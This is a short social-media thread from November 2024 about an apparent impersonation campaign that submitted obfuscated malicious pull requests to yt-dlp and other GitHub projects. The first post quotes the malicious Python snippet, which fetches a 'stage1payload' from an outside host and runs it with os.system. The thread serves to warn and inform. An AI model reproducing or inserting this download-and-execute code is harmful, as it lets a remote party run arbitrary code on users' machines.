Conversation

Notices

1. DarkMahesvara (darkmahesvara@varishangout.net)'s status on Thursday, 14-Nov-2024 08:11:53 JST DarkMahesvara
   someone tried to commit obviously obfuscated malicious code to yt-dlp, stable diffusion, streamlink, qutebrowser, ungoogle chromium and about 20 other github projects. apparently mostly a impersonation attack used to smear.
   
   code:
   'import os\nimport urllib\nimport urllib.request\nx = urllib.request.urlopen("https://www(.)evildojo.com/stage1payload")\ny = x.read()\nz = y\x04\x06decode("utf8")\nx.close()\nos.system(z)\n'
   
   https://web.archive.org/web/20241112105911/https://github.com/yt-dlp/yt-dlp/pull/11520
   
   https://xcancel.com/vxunderground/status/1856450468945506615
   
   https://xcancel.com/evildojo666/status/1856413636748562827
   • :awoo_tired: shotgun snuggler :clownpiece_smug: and pilinsin like this.
   • ジエントＰ (freevocaloidclickrighthere@social.076.moe)'s status on Thursday, 14-Nov-2024 08:24:05 JST ジエントＰ

     in reply to
     Hijacked account or assumed somone elses name who's otherwise trusted?
   • DarkMahesvara (darkmahesvara@varishangout.net)'s status on Friday, 15-Nov-2024 01:18:23 JST DarkMahesvara

     in reply to

     • ジエントＰ
     @freevocaloidclickrighthere impersonator
     ジエントＰ likes this.